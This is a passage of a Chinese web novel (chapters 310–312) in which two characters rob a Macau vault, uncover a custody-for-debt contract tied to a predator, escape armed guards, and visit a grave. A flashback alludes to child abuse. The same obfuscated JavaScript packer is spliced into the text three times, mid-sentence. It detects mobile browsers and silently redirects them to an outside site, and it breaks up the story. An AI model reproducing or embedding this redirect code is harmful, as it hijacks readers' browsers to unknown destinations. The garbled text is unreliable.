齐无尽拉上口袋,将手机揣回兜里,带着初与序转身拐进一条向下的暗道。这里光线昏暗,墙壁是水泥墙,一路上没遇到任何人,也没有监控。 他们很快下到负一楼,在一扇门前停下。齐无尽小心地推开一条缝,两人透过门缝向外看。 外面是一条拐弯的走廊,拐角处那段短廊没有监控,原本应该站着的两名守卫只剩下了一名,另一个应该是被调去拍卖会了。 剩下的那个保镖人高马大,像堵墙似的立在拐角处,警惕地盯着四周。 初与序压低声音:“你觉得我们俩打得过他吗?” 齐无尽犹豫了一下:“……应该可以吧。” 两个人心里都没底,铂金皇宫的保镖都是精挑细选,从小接受格斗训练,有些甚至是从地下拳场提上来的。初与序和齐无尽算业余,只在永冬之城的训练场练过,对上这种专业保镖,能不能赢还真不好说。 齐无尽挣扎了一下,举起手里的工牌:“你当李华还是我当李华?我觉得吧,你当……” “我看起来像叫李华的样子?”初与序转头看他。 两人对视。初与序扎着低马尾,长发搭在肩上,皮肤白皙,眉眼低垂,睫毛纤长,显得柔和安静,确实不像个会叫“李华”的。 齐无尽叹了口气,认命地把工牌挂到自己脖子上,推开了门。 那个保镖猛地转过头,右手按向后腰:“谁?!” 齐无尽举起脖子上的工牌,神情严肃地走过去:“后勤调度部,李华。上面有件紧急物品需要临时取出检查,让我过来一趟。” 保镖没立刻放行,在他脸上和工牌上来回看,然后摸向对讲机:“我没接到通知,等我问问……” 一个人忽然出现在他身后,劈手打落他的对讲机。连齐无尽都没看清初与序是怎么靠近的,只觉得她前一秒还在门后,下一秒已经来到保镖身后了。 保镖头都没回,抬起左拳向后猛抡!那一拳的力道足以砸断普通人的头骨,初与序连忙侧身避开,重拳砸在她身后的水泥墙上,灰尘簌簌落下。 齐无尽一记重拳朝向保镖面门,保镖不得不抬手格挡,硬生生吃下初与序紧跟而来的一记膝撞,却借着力道向前猛冲,撞向齐无尽胸口! 齐无尽后背撞上墙壁,初与序也被保镖甩出的手臂扫中了侧腹,踉跄了半步。 保镖终于拔出了腰间的□□,枪口对准两人:“你们俩,退后。” 初与序和齐无尽在原地停了一秒,齐无尽忽然向左前方滑步,保镖的枪口立刻追着他移动,扣向扳机! 初与序忽然踩上旁边的墙壁,横着旋身,右腿抽向保镖持枪的手腕!子弹擦着齐无尽射进地面,火花迸溅,初与序踢中保镖的腕骨,□□脱手飞出,落向远处角落。 保镖低吼一声,直接近身搏杀!他的速度太快,力量又大,初与序和齐无尽各自挨了好几下,火辣辣地痛。 齐无尽瞅准一个空档,身影一闪,掐向保镖咽喉。保镖抬手就要反击,被初与序死死压住胳膊。紧接着齐无尽右手握拳,两下平勾拳重重砸在保镖两侧太阳穴上! 保镖的挣扎猝然停止,庞大的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234974|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯晃了晃,眼白一翻,直挺挺向后倒,晕了过去。 初与序松开手,捂着侧腹咳了两声。齐无尽靠着墙喘气,用手背抹去嘴角的血丝,然后走到角落捡起那把□□,关闭保险,在手上转了几圈:“你会用枪吗?” “不会。”初与序直起身。 齐无尽点了点头,将枪顺手插进后腰,用上衣下摆遮住。 两个人没有立刻进入通往金库的长走廊,他们躲在拐角处,探出半个头,望向走廊尽头。 那里是一扇厚重的银灰色金属门,快顶到天花板。在门上方角落安装了一个超大号监控摄像头,三百六十度无死角照亮来者的美。 齐无尽道:“这里的监控是独立的系统,我有无线信号干扰器,贴在摄像头上,能让监控室那边接下来几分钟画面卡顿,出现雪花。” “但我们怎么过去贴干扰器?监控室的人能看到我们走过去。” 初与序沉思片刻,问:“你有镜子吗?” “随便扣一块下来就行了。”齐无尽说着走到短走廊墙边,墙面有一部分是装饰性的镜面瓷砖,他伸手掰下一块巴掌大小的镜片,面不改色地递给初与序。 初与序沉默地盯着被齐无尽扣下镜面的墙壁几秒,回到拐角,手腕一翻,将镜片的角度微微倾斜。 头顶射灯的强光经过镜片折射,稳稳刺向走廊尽头摄像头的镜头中心。 下一秒,齐无尽像风一样闪出去,靠近摄像头下方,手腕一样,一个小小的黑色贴片被他甩向摄像头,牢牢吸附在镜罩边缘。 监控室内,对应的画面瞬间白茫茫一片,又开始闪雪花,什么都看不见。 “啧,又是灯光反射?”保安嘟囔了一句,对这种情况习以为常,低头继续刷手机,没再多看那个雪花屏一眼。 两人站在金库门前,门在齐无尽胸口高度的位置嵌着一块触摸屏,屏幕上方是个玻璃罩,里面是虹膜扫描器。屏幕右侧则是一个细长的卡槽。 齐无尽摘下脖子上的工牌,对准卡槽一刷。 滴—— 门框边的LED灯闪了一下绿光,触摸屏亮起: 【权限确认,级别;三级管理。】 上方的玻璃罩亮起红光,示意第二道锁已开启。齐无尽从面板里取出一个类似于隐形眼镜盒的小容器,打开,里面是一层柔性薄膜。 他熟练地将薄膜覆盖在自己右眼眼球上,接着对准虹膜扫描器。 一道细细的红色扫描光线从玻璃罩□□出,缓缓扫过他的眼睛。 只听咔哒一声,金属扣解开的声音从门内传出,整扇金属门向内打开了一条缝隙。两人进去金库,将门关上。 眼前的景象跟初与序想象中不一样,没有堆积如山的金条或者成捆的现金,而是一眼望不到头的高耸货架,每一排货架上都放着金属保险箱。过道的地面安装了幽蓝色的LED灯。 “M37号箱,分区域找。”齐无尽说,“编号规则是字母区加数字,M区应该在中间偏左。” 两人分开,各自走进货架。货架侧面高处贴着编号:A区……B区……C区…… “这里。”初与序在接近尽头的一排货架边停下,面前整面墙都是M区的保险箱,从M01到M50,排列整齐。 M37在中间靠上的位置,她需要踮起脚才能够到。 310.昨日港 齐无尽也走了过来,看着那个箱子。箱门上的电子屏显示着一行小字:【封存-权限锁定】,旁边是一个指纹识别器。 齐无尽盯着指纹锁:“这锁……” 初与序开口:“你试试。” “我没有铂金皇宫主管的指纹。” 初与序转过头看他:“我说的是,用你自己的指纹。” 齐无尽愣住了,他缓缓抬起右手,拇指悬在识别区上,微微颤抖着按了下去。 识别区亮起蓝光,光线扫过他的指纹纹理。几秒后,蓝光转为绿光,盒盖自动向上弹开一条缝隙。齐无尽伸出手,打开箱盖。 里面没有耀眼的珠宝和钞票,只有一份文件,躺在黑色天鹅绒衬垫上。 这是牛皮纸文件袋,用一根红色蜡绳捆扎,表面盖着一个火漆印章,印章的图案是一枚被荆棘缠绕的鸢尾花。 齐无尽顿了一下,然后稳稳地将它取了出来。解开蜡绳,抽出里面的文件。 是一份契约,纸张已经有些泛黄了,中央贴着一张白色标签: 【文件名称】:特殊资产保管及债务清偿契约 【缔约方】甲方(委托方):张景 乙方(受托方):莫楠 【签订日期】:2018年11月7日 【签订地点】:中国澳门 【事由】: 「甲方现持有齐无尽(男,2004年6月生)、齐无恙(女,2011年2月生)之监护权。经双方协商,甲方同意将上述二人交由乙方暂时保管。」 【条款】: 「1.保管期间:自本契约签订之日起,至齐无尽年满二十一(21)周岁止。」 「2债务处理:自本契约生效时起,委托人张景所欠受托人莫楠的上述贰仟万元债务即视为全部清偿完毕。受托人莫楠自愿放弃就此笔债务的一切追索权利。」 「3.后续安排:齐无尽年满二十一(21)周岁后,须为委托人张景工作三(3)年,以作为对其成年后自由的“赎回”。工作内容与地点由张景指定。」 【违约条款】: 「若乙方未能履行保管义务,或在齐无尽年满二十一(21)周岁后阻扰其履行服务约定,视同乙方严重违约。」 「一旦乙方违约,甲方有权立即无条件收回齐无尽、齐无恙之全部人身权利,且乙方须以自身生命承担违约责任。」 【特此立据,双方自愿,永不反悔。】 【甲方签字】:张景 【乙方签字】:莫楠 【日期】:2018年11月7日 契约下方,还有一行手写的备注: 「备注:若本契约在齐无尽年满二十一(21)周岁前,因任何合法方式(包括但不限于赌局赢取、债务抵消、自愿转让)而由乙方莫楠持有,则本期余额自归属乙方之日起,立即自动作废,视为从未存在。齐无尽与齐无恙将恢复完全自由身,与甲方张景之间一切约定义务永久解除。」 …… 齐无尽拿着契约的手开始不受控制地发抖:“操……” 楠姐是这么把他和无恙从张景手里带回来的……她竟然是这么做的…… 当年他只轻描淡写地说,张景欠她一大笔钱,拿两个孩子抵债。她说得那么轻松,齐无尽根本没有深想…… 张景那种畜生,怎么可能因为欠钱,就放过他们。 难怪,难怪她能从那个畜生手里带走两个孩子……难怪她拼了命也要赢回这份契约…… 齐无尽感觉很冷,寒意从骨缝里钻出来,蔓延到四肢百骸,冷得他指尖都在发麻。 楠姐是为他而死的,她当年签下的契约,是为了给他们争取成长的时间和相对安全的环境。她一直想在齐无尽二十一岁之前赢回这份契约,想让他永远不知道这件事,不会再落到张景手中,彻底获得自由。 所以她才不顾危险去黑鸢尾拍卖会,她想出千,是因为常规手段根本不可能赢下契约,出千是她唯一的机会—— 然后她就死在了那个机会上,被张景做局害死了。 如果……如果当时他没进永冬之城,还在澳门,几天后他二十一岁生日一过,他就会按照契约去张景手下。张景恋童,但即使齐无尽现在已经长大,也阻挡不了那畜生恶习扭曲的欲望。他会重复当年的噩梦。 “齐无尽?” 初与序的声音很遥远。 齐无尽垂着眸,大脑像当机了一样,一片空白,做不出任何反应。视野里只有眼前白晃晃的纸张,那上面的字迹扭曲,旋转,吞没了所有意识。恍惚间,他又看到了铂金皇宫顶层某个房间苍白的天花板。 那个时候,天色已经黑透了。 他来到巨大的落地窗前,浑身都痛,眼睛酸涩。窗外金红的霓虹光在他瞳孔里明明灭灭,像淌着的血和烧着的钱。 身后传来脚步声,一只温热的手贴上他的后颈,缓慢地摩挲了一下,然后滑向他的下颌,强迫他抬起头。 他从落地窗的倒影里看见瘦小的自己,脸色苍白,嘴唇抿成一条线。脑海里只反复回响着三个字——杀了他。 捏住他下颌的手用了力,手指抚过他的眼角,张景温和道:“怎么在窗边站着?外套都不穿。” 齐无尽浑身颤栗,他微微侧过身,抬起眼看向张景。 张景就是人们说的衣冠禽兽,保养得像二十多岁,面容英俊,华丽的衣着下是腐烂到发臭的灵魂。 “很恨我?”张景意味不明地笑了一声,“是你自己说的,放过你妹妹,你跟我来。” 齐无尽咬着牙,恶狠狠地挤出一句:“张景,你去死吧——” 他猛地抬起右手,手中攥着一把餐刀,狠狠刺向张景的眼睛! 手腕在半空中被一把攥住,“咔”一声脆响,腕骨被捏得脱臼,餐刀被打飞,紧接着一巴掌狠狠扇在他脸上,他整个人摔倒在地,耳朵里嗡鸣一片,嘴角立刻溢出血丝。 张景上前一步,锃亮的皮鞋狠狠踹在他肩膀上。 “齐无尽,你胆大了?”男人弯下腰,扯住他的衣领把他提起来,“别忘了,你妹妹还在我手上。” “再有下次,她的命就不保了。” 窗外车流的鸣笛声此起彼伏,剧痛,眩晕,恐惧,过去和现在混在一起,分不清虚实。 如果不是楠姐……如果她没来…… 紧接着,他的肩膀突然被抓住,他手一松,文件掉在地上。初与序扶着他的肩膀:“齐无尽,看着我!” 齐无尽焦距涣散,整个人还在微微发抖,但窒息感稍稍退去。 “……我没事。”他喘了口气,哑声道:“谢谢你。” 忽然,门外掉在地上的对讲机里传来焦急的吼声:“喂?!在不在?人呢!监控室说好像有人闯入金库了!画面白屏几分钟了!喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234975|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!回答!” 两个人同时看向门外,金库尖锐的警报声猝然响起,红光从天花板各个角落闪烁! 齐无尽一把抓起掉在地上的文件袋,从面包里取出一个小型追踪器,塞进文件袋内侧,然后将袋子重新放回M37保险箱,合上箱盖,和初与序往门口冲去。 冲出楼梯间,外面的大厅已经乱成一团,十几个保镖从不同方向涌来,对讲机里吼成一片:“封锁所有出口!检查每位客人!一男一女,戴帽子!男的红头发,女的脖子上有道疤!” 出口的金属闸门正在缓缓降下,几个保镖守在门前,挨个检查打算离开的客人,连只蚊子都飞不出去。 初与序和齐无尽果断转身,逆着人流朝反方向疾走。 “那两位客人!停下!例行检查!”后面的保镖发现了他们,大喊着追上来。 “检查个皮啊!快追!就是他们俩!” 一群保镖抄起甩棍大步追过来,路过的客人被吓得惊叫躲闪。幸好此刻大部分客人都在三楼拍卖会,大厅里的人不算多,不挡路。两个人一路飞奔,冲进通往地下停车场的暗道。 齐无尽拉开车门坐进,引擎刚发出一声低吼,几个保镖就从柱子后面跃出,直扑而来! 初与序反手拔出短刀,最前面的保镖伸手抓她肩膀,她一个转身,刀光划过对方的手腕,鲜血飞溅,枪械直接脱手落地。 另一个保镖也不管中国不给普通人持枪,直接举枪对准两人。初与序就地翻滚,子弹擦着她鞋跟打出一串火花。 “上车!”齐无尽喊道。 初与序跃回车内,车门还没关紧,RS6已如离弦之箭般冲出车位。初与序在强风中拉上车门:“你再开快点,车门就没了。” 后视镜里,那几个保镖正冲向旁边几辆越野车,打算开车追上来。 按齐无尽的车技,简简单单就能甩掉那一两辆越野车。他们刚松了口气,结果刚冲出停车场,两人就傻眼了—— 数道车影已经从两侧车道夹击而来,整整十辆黑色SUV彻底堵死了出口。 齐无尽没减速,方向盘猛打半圈,RS6擦着水泥柱挤进狭窄的缝隙,朝着空旷处狂飙。其他车立刻掉头,紧追不舍。其中一辆SUV直接并排行驶,车窗摇下,枪口对准了这边。 “靠!”齐无尽猛转方向盘,“他们敢现在就开枪?” 弹雨泼了过来,幸好四面防弹玻璃质量过硬,撑了将近十分钟才开始出现蛛网状的裂痕。副驾驶侧的玻璃终于碎裂,初与序侧身避开飞溅的玻璃碴,右手直接持刀刺出窗外,扎进并排SUV车窗内持枪者的手腕,一拧一挑,那把枪就直接被她夺了过来。 对方吓得立刻关窗,生怕她一枪过来给自己放个烟花。 初与序现在开始后悔为什么之前没跟D19他们学学枪法,她干脆反手将枪丢向后座,直接抓住副驾驶窗户上方,长腿先探出窗外,接着整个人就跃了出去! “操!”齐无尽被她吓了一跳,“你干什么?!” “干他们。”初与序只留下一句,随后就钻进了那辆SUV,车内顿时乱作一团,车身在马路上蛇形摇晃。 齐无尽见那边是初与序占上风,便收回视线。他指尖一晃,多了张黑桃Q。 他将手臂伸出窗外,扑克牌脱手甩出,追得最近的那辆SUV前胎直接爆裂开来!车子失控,一头撞向护栏,发出刺耳的闷响。 311.昨日港 但后面仍有子弹追过来,一颗子弹直接射穿后窗,贯穿了齐无尽的左肩。他哼都没哼一声,手指间又多了张红心7。牌面化作微光,没入肩上的枪伤。伤口快速止血,愈合。 初与序从前方那辆失控乱转的SUV中跳了出来,落地,翻滚,子弹追着她扫倒一片灌木。眨眼间她已经起身,单手撑过护栏,干脆利落地跃回RS6副驾驶座。 齐无尽转头一看,初与序还从那辆SUV上顺来了一把乌兹冲锋枪,随手扔到了后座。 “去哪?”她甩了甩手上的血。 “不知道。”齐无尽刚才完全是瞎开,只挑人少灯暗的地方,怕无辜路人受伤。他看了一眼窗外,发现自己正把车开上一座废弃工业区的窄路。后视镜里,几辆车的车灯如狼群紧追不舍。 路越来越荒,两侧的路灯早就坏了,只有车灯劈开前方浓稠的黑暗。 混乱中,前方出现一片空旷的水泥场地,应该是旧时的堆货区,周围堆着集装箱和废弃机械,不远处还有一栋烂尾楼。 也就在RS6冲进场地中央的时候—— 四面八方,车灯骤亮! 六辆SUV从不同方向冲出,将RS6彻底围在中间,封死了所有去路。 引擎陆续熄灭,车门打开,黑衣保镖鱼贯而出,至少二十人,手持枪械,形成一个逐渐缩小的包围圈。 其中一个领头的人朝这边喊:“里面的人!下车!” 初与序看了一眼车外,现在想冲出去,除非这辆车能飞,或者他们俩能飞。她叹了口气,抬手摘下了帽子,完全露出清秀美丽的面容。一转头,见齐无尽正看着她。 “怎么了?” “如果死在这里,你打算怎么办?”齐无尽平静地说。 “那就地府见喽。”初与序说。 齐无尽扬起半边眉毛,没再说话,也摘下了帽子。他熄了火,车内灯自动亮起,前方玻璃上映出他们苍白的脸。 两人推开车门,站到了车灯刺眼的光束里。 “举起双手!”那群保镖举枪逼近,枪口密密麻麻地对准他们。两人慢悠悠地举起双手,脸上看不出半点紧张。 两个保镖上前,对两人搜身。一通翻找下来,什么都没发现。 “报告老板!”其中一个保镖退回去,对着不远处一辆没熄火的黑色宾利喊道,“他们身上买药任何东西!刚才攻击我们的武器也不在,应该是半路扔了!” 齐无尽和初与序脸色齐刷刷一变,同时看向那辆宾利。 车门被人从里面缓缓推开,先迈出来的是一条穿着西装的腿,锃亮的皮鞋踩在水泥地上。紧接着,一个衣冠楚楚的男人走了出来,在保镖们的簇拥下朝两人的方向缓步走来。 初与序能明显感觉到身边齐无尽的身体瞬间僵住了,哪怕他脸上没有任何表情,但整个人周身的气息骤然变了,变得恐惧。 男人在距离他们两米外的地方停下,背着手看着齐无尽,轻轻笑了一声,温和道: “好久不见啊,阿尽。” 齐无尽不动神色地向前迈了半步,遮住了张景打量初与序的视线。他侧过头,用只有两个人能听见的声音快速说:“听着,等会儿我上去引开他们,你立刻往左边那个集装箱后面跑,那边有道矮墙,翻过去就是废料堆,能暂时躲一下。然后沿着海岸线往南,去海角七号,那是楠姐以前偷偷买下的一间老船屋,钥匙在门口第三块砖下面。张景查不到那里。你躲进去,天亮之前别出来。提前通关副本,然后去找无恙,带她离开澳门,去哪都行,越远越好……” “等一下。”初与序毫不客气地打断他。 她斜眼看向齐无尽:“虽然我们俩以前关系不好,也打过几次架,但也没到我把你一个人丢下自己逃跑的地步吧?他们查不到你家在哪,无恙很安全,但你不安全。我们现在是队友,不是什么可以大难临头各自飞的鸟。” 她顿了顿,瞟了一眼就站在自己身后拿枪对着自己的保镖:“而且,你去引开他们,谁来开车?你指望我用两条腿跑过他们四个轮子还带枪的?” 齐无尽凉凉道:“那你有办法?” 初与序面无表情:“哦那倒没有。” 张景看着两人低声交谈,没急着打断,反而饶有兴致地等他们说完,才轻轻拍了拍手。 “阿尽,这么多年没见,模样俊俏了,也长高了不少呢。”他将手放在自己胸口的位置,比划了一下,“当年你才到我这儿,让我想想……现在的你应该刚成年?” 齐无尽的脸色沉了下来:“你想干什么?” “来聊聊天而已,不用这么紧张。”张景微微一笑。 他越过齐无尽的肩膀,看向初与序,目光在她脸上细致地扫过。从眉眼到鼻梁,再到淡色的唇,最后落在她颈侧若隐若现的疤痕上。 “很漂亮。”张景由衷地赞叹,“阿尽,你这位朋友能和你一起闯进我的金库,还能从那么多人手里逃到这里,本事不小。不介绍一下?” 齐无尽没搭理他,初与序也没有要说话的意思。 张景笑着往前走了一步,保镖们立刻跟上,枪口始终对着两人。 “我这个人呢,不喜欢绕弯子。”张景停在齐无尽面前,“你们今晚去金库,是想找什么?” “让我猜猜……是为了莫楠当年留下的那份契约,对吗?” 齐无尽下颌绷紧,握着拳的指甲掐进皮肉里。 “阿尽,你长大了,学会自己查东西了。”张景抬手,似乎想碰齐无尽的头发。齐无尽猛地偏头躲开,张景的手停在半空,也不尴尬,自然地收了回去。 “可惜,方法太糙。”他摇摇头,话里带着长辈的惋惜,“闹出这么大动静,还把自己送到我面前。你这样,怎么对得起莫楠当年用命换你的苦心?” “张景。”齐无尽声音很低,“你没资格提她。” “哦?我没资格?”张景挑眉,“那份契约,是她自愿签的;黑鸢尾的局是她自己要去的;出千被抓,按规矩处置——哪一步,是我逼她的?” 他又往前逼近半步,逼得齐无尽后退。 “她是为了你才去赌命的,阿尽。她是为了你,才死在那张牌桌上的。” 齐无尽身体猛地一缠,像被人掐住了咽喉。脑海里闪过那个红色短发的女人,转身笑着唤他。他刚回过头,女人就倒在了赌桌上,太阳穴的枪孔里还在往外冒血。 张景很满意他的反应,看着齐无尽煞白的脸:“阿尽,你现在站在这里,是因为莫楠用命给你换来的时间。你不好好珍惜,反而带这个姑娘来挖我的底。你说,莫楠要是知道了,会不会很失望?” 他叹了口气,无奈道:“不过……年轻气盛嘛,总是有些冲动,犯了错也没关系。阿尽小时候就脾气大,我都是知道的。回来吧,以前的事,我们可以慢慢淡。” 他转身,又看向初与序:“至于这位小姐,看着和阿尽差不多大吧?年轻真好啊,尤其是这样漂亮的女孩子,像清晨带着露水的白玫瑰。让人忍不住想折下来,插在花瓶里。” 初与序有点犯恶心。 “和阿尽一起,跟我回去。我会给你最好的衣服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234976|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最贵的珠宝,让你住在能看到整个澳门夜景的房间里,你不需要再跟着阿尽东躲西藏。” 他每说一句,齐无尽的脸色就白了一分。 接着,他目光又飘回齐无尽身上,语气亲昵:“而你,阿尽……我们之间虽然出了点意外,但我这个人,最念旧情。” 他向前一步,这次齐无尽没能躲开。张景的手直接按在他肩膀,极其暧昧又带着强烈威胁压迫,抚摸过齐无尽的后颈。齐无尽浑身一颤,像被毒舌舔过,几乎要弹开,却被身后的枪口抵住腰,动弹不得。 “你这里,还是这么敏感。”张景唇边噙着笑,幽幽道。 初与序闻言,下意识皱起眉;齐无尽猛地挥开他的手,向旁边踉跄一步。 张景朝旁边使了个眼色,又有两个保镖上前,一左一右站在了齐无尽和初与序身侧。 “二位,请吧。”张景微笑着侧身,朝宾利车伸出手,掌心向上,是个邀请的姿态。 夜风吹过废弃的堆场,卷起沙尘。浮尘像金色的碎屑,在车灯的光柱里缓缓飘落。 齐无尽看着那只伸向宾利的手,胃里一阵翻涌。过去的记忆和此刻张景的笑脸重叠在一起,让他窒息。 他听到自己喉咙里挤出一个干涩的声音:“……好。” 张景脸上的笑意更深了些。 下一秒,齐无尽抬起眼,眼底是淬了毒的恨意。 “——好你妈。” 尾音落下的一瞬间,他一抬手臂,重重往地下摔下一个东西—— 砰! 白色浓烟瞬间炸开!将所有人的视野彻底吞没。张景在烟雾中看不到任何人影,立刻喝道:“拦住他们!原地封锁!” 保镖们迅速靠拢,将刚才齐无尽和初与序站立的位置包围住,枪口对外,屏息凝听。 风声呼啸,灰尘呛人,还有自己人压抑的呼吸,除此之外一片死寂。 下一秒,破风声贴地袭来!张景甚至没来得及抬枪,胸口就像被高速行驶的车头正面撞上!肋骨发出断裂声,他整个人向后倒飞,肺里所有的空气被这一脚全数挤压出去,眼前瞬间发黑。 砸倒在地,他听见耳边响起初与序压低的声音:“你他妈等死吧。” 剧痛和怒火还没来得及冲上头顶,不远处传来手枪保险被拉开的声音,齐无尽朝着这边扣下扳机,枪声炸开! 张景右腿爆开一团血雾!他眼前彻底发黑,整个人跪倒在地,血顺着裤管疯狂涌出,在水泥地上迅速积起一滩血水。 “操——!!!”他痛得浑身发抖,怒吼道,“都他妈聋了吗?!开枪!给老子打!” 命令刚落,四面八方的枪声顿时爆开!子弹撕开浓雾,在白色烟墙中拉出一道道猩红的线,砰!砰!砰!枪声密集如雨。 紧接着,右前方浓烟中炸开第二团血花,有人喊:“打中了!” 张景被人扶住,他咬着牙撕下衬衫下摆,勒住大腿伤口,鲜血还是汩汩往外涌。他死死盯着烟雾,等着它散开。 风渐起,白色缓缓稀释,飘散。 那辆RS6仍然停在原地,车门都没关严。后座上扔着一把冲锋枪和一把手枪,驾驶室上还丢着两顶帽子,但人没了。 “头儿,这边有血滴……往那边延伸,但断了。”一个保镖蹲在地上,指着血迹消失的地方,那是废弃烂尾楼的入口。 张景脸色惨白,每一下呼吸都扯着胸口的痛。他看着那烂尾楼,喘了口气,一字一句道:“他们中弹了,跑不远!给我搜!一寸一寸地搜!要活的!” “是!” 312.昨日港 工厂三楼,夜风从破碎的窗户灌进来。 初与序靠坐在一堵砖墙后面,右手死死捂住左臂,子弹擦过肱骨外侧,撕开皮肉,血顺着手肘滴滴答答落在水泥地上。 齐无尽单膝跪在她身侧,快速抽出一张红心K,按在她伤口上。血流减缓,但伤口愈合的速度远不及平日。他低声问:“怎么样了?” 初与序摇了摇头,没出声。 齐无尽伸出的手微微发颤,温热的血从他鼻腔里流下来,他随手抹去,脸色苍白。持续使用技能的后果就是反噬正在他体内灼烧,每一根神经都在尖啸,太阳穴突突直跳,视野边缘泛起黑雾。 楼下传来杂乱的脚步声,有人在喊:“分三组!一层层往上搜!每个角落都别放过!” 齐无尽站起身,朝初与序示意:“这边。” 初与序跟着他挪到窗户边,这里是烂尾楼后方的窗户,玻璃早就被拆光了,只剩个空荡荡的窗框。往外看,底下是一大片反射着月光的河水,但水面很浅,藏不了人,齐无尽似乎也并不打算躲进去。他伸出手,朝窗户外面侧边指了指。 初与序借着月光看清,窗户外侧紧贴着墙壁有一道平台,不算太窄,长度也足够,两个人贴着墙站着完全没问题,从楼内视角根本看不见。除非人家把头探出来。 楼下的脚步声已经上了二楼,四处响起保镖们的呼喊: “楼梯上没人!” “一楼没有!” “二楼没有!隔壁小房也没有!” 过了片刻,一个保镖率先独自上了三楼,他举着枪警惕地在三楼转了一圈,最后走到窗边,顿了顿,向外探头看去—— “三楼没有。” 刻意压低的声音从窗边响起。 保镖们的脚步声往楼上跑去,没再来三楼。 月亮已经升到了最高处,清冷的光铺满废墟。所有保镖汇聚到楼下,战战兢兢地围在张景面前。领头的人硬着头皮汇报:“老板……上上下下都搜查了,没、没看到他们……” 张景坐在车里,盯着说话的人,脸色发青:“没看到?” “是、是的……” “二十几个人,带着枪,围两个都中了弹的,在这么个破厂子里,告诉我没看到?”张景慢慢坐直,咬着牙道,“你们是他妈干什么吃的?!眼睛长屁股上了?!还是脑子被狗啃了?!” “废物!一群废物!”他抓起手边的矿泉水瓶狠狠砸过去,瓶子撞在保镖身上,水洒了一身,“我养你们是让你们在这儿给我演喜剧的吗?!啊?!” 他喘着气,胸口剧烈起伏,牵动伤处,疼得额头青筋直跳。过了好一会儿,才勉强压下怒火,转向远处那片在月光下泛着光的河水,咬着牙道:“他们指不定躲水里去了,派几个人在这里守着,其余人去河里给我找!活要见人,死要见尸!” 保镖们互相看了看,没人敢反驳。一部分人立刻钻进车里,车灯转向,朝着河岸方向驶去。 烂尾楼窗外平台上,齐无尽和初与序从阴影里走回来。 齐无尽手里拎着一个昏迷保镖的后衣领——刚才那个独自上三楼检查的倒霉蛋,被他一掌劈晕过去。他随手将人往地上一扔,自己往后墙上一靠,微微垂着头。月光落在他下半张脸上,嘴角还带着淤青,呼吸有些不稳。 初与序靠着对面的墙,看着他。 齐无尽总是平静的,冷淡的,甚至偶尔会说一两句冷幽默的话。这样的外表下装着怎样一个痛苦的灵魂? 初与序一时间开始心疼他,这种心疼不是觉得他可怜,是想说又说不出口,不说又难受的感觉,是事情已经发生了做什么都挽救不了的无奈,心里堵得慌。 一遇到让她无法冷静的事,她就想抽烟,干脆靠着墙点了一根。 “给我来一根。”齐无尽忽然开口。 初与序顿了一下,把烟盒和打火机都递了过去。 她看着齐无尽低头点烟的动作,打火机“嚓”一声轻响,火苗照亮他低垂的睫毛。深吸一口气,烟雾缓缓从唇间逸出,融进月光里。那个动作带着很深的疲惫,和近乎怀念的孤寂。 初与序觉得,齐无尽现在应该很想莫楠,很想见到她。 于是她开口:“莫楠的墓地在哪?” 齐无尽微微抬了抬头:“就在九澳……” “九澳啊。”初与序像是自言自语,“离这里很近。” 齐无尽认真地看着她,月光下,初与序的表情很淡,眼里没什么情绪。 她淡淡道:“去看看她吧。” 他们所在的烂尾楼是九澳圣母村废弃建筑群,一两百米外,就是九澳废灰安置所。去坟场的路上,齐无尽去便利店买了一瓶酒。 夜风从海岸方向灌过来,卷过疯长的野草,发出类似呜咽的哨音。远处零星的街灯光晕被海雾稀释的昏黄,落在一级级向上的水泥阶梯上。 齐无尽走在最前面带路,初与序跟在他身后。周围几乎没有声音。 阶梯向上延伸,穿过一排排墓碑,直到一片相对开阔的平台。齐无尽停下脚步,手机手电筒落在一块墓碑上。 墓碑上刻着名字:莫楠。 生卒年:1989-2021 左上角嵌着一张小小的瓷像,照片里的女人留着红色短发,唇角微微勾着,迎着镜头,带着挑衅的,明亮的笑意。 齐无尽没动,只是看着照片里那双眼睛。 远处有夜鸟惊飞,扑棱着翅膀掠过树梢。 过了片刻,齐无尽放下装酒的塑料袋,然后在墓碑正前方双膝跪下。俯身,额头抵在冰冷的水泥地上,磕了三个头, 初与序坐在一边,安静地看着墓碑。 齐无尽磕完,跪坐在墓碑前,从塑料袋里拿出那瓶威士忌,拧开盖子。 浓烈的酒气混着海风散开,他手腕一倾,琥铂色的酒液浇在墓碑前的水泥地上,渗入缝隙,留下湿痕。 “楠姐。”他的声音被风吹得有点散,“这儿不给点烟,但我给你带了酒。” 